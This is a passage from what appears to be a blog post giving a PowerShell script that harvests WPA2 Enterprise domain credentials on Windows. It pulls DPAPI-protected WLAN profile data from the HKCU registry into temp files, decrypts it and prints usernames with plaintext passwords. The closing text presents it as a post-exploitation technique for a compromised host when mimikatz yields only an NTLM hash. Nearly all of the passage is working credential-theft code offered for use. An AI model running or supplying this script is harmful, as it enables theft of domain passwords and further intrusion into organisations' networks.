stage, if the line below succeeds, we have a plaintext password. $DecryptedPassword = [Text.Encoding]::UTF8.GetString((Get-String -InputStream ([DPAPI]::Decrypt([IO.File]::ReadAllBytes( $DumpFile ), [Text.Encoding]::UTF8.GetBytes([String]::Empty), [ref] $NullReferenceString )))) Write-Output " Username: $DomainAndUsername " Write-Output " Password: $DecryptedPassword " } } function Remove-LastNullByte { Param( [Parameter(Mandatory = $true , Position = 0)] [byte[]] $Array , [Parameter(Mandatory = $false , Position = 1)] [byte] $Banned ) $ArrayLength = $Array .Length - 1 if( $Array [ $ArrayLength ] -eq $Banned ) { return $Array [0..( $ArrayLength -1)] } return $Array } <# .SYNOPSIS This file uses the registry hive HKCU to retrieve binary data that is protected by DPAPI functions to hide WPA Enterprise passwords. #> function Get-ProtectedData { [CmdletBinding()] # File Array $Files = @(); # Retrieves data to be used by DPAPI decrypt function Get-ChildItem HKCU:\Software\Microsoft\Wlansvc\UserData\Profiles\ | ForEach-Object { $currentFile = Get-TemporaryFileName $Files += $currentFile Write-Verbose " Created file $currentFile " [IO.File]::WriteAllBytes(" C:\windows\temp\ $currentFile ", (Get-ItemProperty $_ .PSPath -Name MSMUserData | Select-Object MSMUserData).MSMUserData) } return $Files } function Get-TemporaryFileName { return ([IO.Path]::GetRandomFileName()).Split(" . ")[0] + " . tmp " }

Execute the above script to do all the work necessary to retrieve all WPA2 Enterprise domain credentials stored in this user session:

This is a very simple technique that might be useful for you on a compromised host where mimikatz only revealed to you a NTLM hash, but not a real plaintext password.

Hope you liked it!

Best regards,

zc00l.